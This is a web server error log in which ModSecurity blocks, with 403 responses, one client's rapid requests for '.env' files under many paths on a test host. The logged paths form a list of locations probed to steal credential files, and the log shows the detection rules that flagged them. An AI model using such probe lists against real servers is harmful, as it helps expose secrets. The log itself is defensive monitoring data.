[Wed Feb 25 06:05:31.092909 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /services/minio/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/minio/.env&quot;] [unique_id &quot;aZ6DG56MLyC5r86Hx-ZX1gAAAAQ&quot;]
[Wed Feb 25 06:05:31.093187 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/minio/.env&quot;] [unique_id &quot;aZ6DG56MLyC5r86Hx-ZX1gAAAAQ&quot;]
[Wed Feb 25 06:05:31.093337 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/minio/.env&quot;] [unique_id &quot;aZ6DG56MLyC5r86Hx-ZX1gAAAAQ&quot;]
[Wed Feb 25 06:05:31.120178 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /services/monitoring/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/monitoring/.env&quot;] [unique_id &quot;aZ6DG56MLyC5r86Hx-ZX1wAAAAQ&quot;]
[Wed Feb 25 06:05:31.120471 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/monitoring/.env&quot;] [unique_id &quot;aZ6DG56MLyC5r86Hx-ZX1wAAAAQ&quot;]
[Wed Feb 25 06:05:31.120623 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/monitoring/.env&quot;] [unique_id &quot;aZ6DG56MLyC5r86Hx-ZX1wAAAAQ&quot;]
[Wed Feb 25 06:05:31.201648 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /services/portainer/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/portainer/.env&quot;] [unique_id &quot;aZ6DG56MLyC5r86Hx-ZX2AAAAAQ&quot;]
[Wed Feb 25 06:05:31.201920 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/portainer/.env&quot;] [unique_id &quot;aZ6DG56MLyC5r86Hx-ZX2AAAAAQ&quot;]
[Wed Feb 25 06:05:31.202079 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/portainer/.env&quot;] [unique_id &quot;aZ6DG56MLyC5r86Hx-ZX2AAAAAQ&quot;]
[Wed Feb 25 06:05:31.228962 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /react_todo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/react_todo/.env&quot;] [unique_id &quot;aZ6DG2Xxsr5IXP-ltRibLQAAAAA&quot;]
[Wed Feb 25 06:05:31.229192 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/react_todo/.env&quot;] [unique_id &quot;aZ6DG2Xxsr5IXP-ltRibLQAAAAA&quot;]
[Wed Feb 25 06:05:31.229362 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/react_todo/.env&quot;] [unique_id &quot;aZ6DG2Xxsr5IXP-ltRibLQAAAAA&quot;]
[Wed Feb 25 06:05:31.263156 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /services/redis-commander/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/redis-commander/.env&quot;] [unique_id &quot;aZ6DG56MLyC5r86Hx-ZX2QAAAAQ&quot;]
[Wed Feb 25 06:05:31.263517 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/redis-commander/.env&quot;] [unique_id &quot;aZ6DG56MLyC5r86Hx-ZX2QAAAAQ&quot;]
[Wed Feb 25 06:05:31.263741 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/redis-commander/.env&quot;] [unique_id &quot;aZ6DG56MLyC5r86Hx-ZX2QAAAAQ&quot;]
[Wed Feb 25 06:05:31.296337 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /services/registry/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/registry/.env&quot;] [unique_id &quot;aZ6DG56MLyC5r86Hx-ZX2gAAAAQ&quot;]
[Wed Feb 25 06:05:31.296612 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/registry/.env&quot;] [unique_id &quot;aZ6DG56MLyC5r86Hx-ZX2gAAAAQ&quot;]
[Wed Feb 25 06:05:31.296807 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/registry/.env&quot;] [unique_id &quot;aZ6DG56MLyC5r86Hx-ZX2gAAAAQ&quot;]
[Wed Feb 25 06:05:31.300497 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /redmine/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/redmine/.env&quot;] [unique_id &quot;aZ6DG2Xxsr5IXP-ltRibLgAAAAA&quot;]
[Wed Feb 25 06:05:31.300806 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/redmine/.env&quot;] [unique_id &quot;aZ6DG2Xxsr5IXP-ltRibLgAAAAA&quot;]
[Wed Feb 25 06:05:31.300986 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/redmine/.env&quot;] [unique_id &quot;aZ6DG2Xxsr5IXP-ltRibLgAAAAA&quot;]
[Wed Feb 25 06:05:31.326015 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /repo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repo/.env&quot;] [unique_id &quot;aZ6DG2Xxsr5IXP-ltRibLwAAAAA&quot;]
[Wed Feb 25 06:05:31.326279 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repo/.env&quot;] [unique_id &quot;aZ6DG2Xxsr5IXP-ltRibLwAAAAA&quot;]
[Wed Feb 25 06:05:31.326485 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repo/.env&quot;] [unique_id &quot;aZ6DG2Xxsr5IXP-ltRibLwAAAAA&quot;]
[Wed Feb 25 06:05:31.398987 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /repos/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repos/.env&quot;] [unique_id &quot;aZ6DG2Xxsr5IXP-ltRibMAAAAAA&quot;]
[Wed Feb 25 06:05:31.399281 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repos/.env&quot;] [unique_id &quot;aZ6DG2Xxsr5IXP-ltRibMAAAAAA&quot;]
[Wed Feb 25 06:05:31.399458 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repos/.env&quot;] [unique_id &quot;aZ6DG2Xxsr5IXP-ltRibMAAAAAA&quot;]
[Wed Feb 25 06:05:31.427375 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /services/simcore/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/simcore/.env&quot;] [unique_id &quot;aZ6DG56MLyC5r86Hx-ZX2wAAAAQ&quot;]
[Wed Feb 25 06:05:31.427664 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/simcore/.env&quot;] [unique_id &quot;aZ6DG56MLyC5r86Hx-ZX2wAAAAQ&quot;]
[Wed Feb 25 06:05:31.427858 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/simcore/.env&quot;] [unique_id &quot;aZ6DG56MLyC5r86Hx-ZX2wAAAAQ&quot;]
[Wed Feb 25 06:05:31.506324 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /repository/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repository/.env&quot;] [unique_id &quot;aZ6DG2Xxsr5IXP-ltRibMQAAAAA&quot;]
[Wed Feb 25 06:05:31.506650 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repository/.env&quot;] [unique_id &quot;aZ6DG2Xxsr5IXP-ltRibMQAAAAA&quot;]
[Wed Feb 25 06:05:31.506862 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repository/.env&quot;] [unique_id &quot;aZ6DG2Xxsr5IXP-ltRibMQAAAAA&quot;]
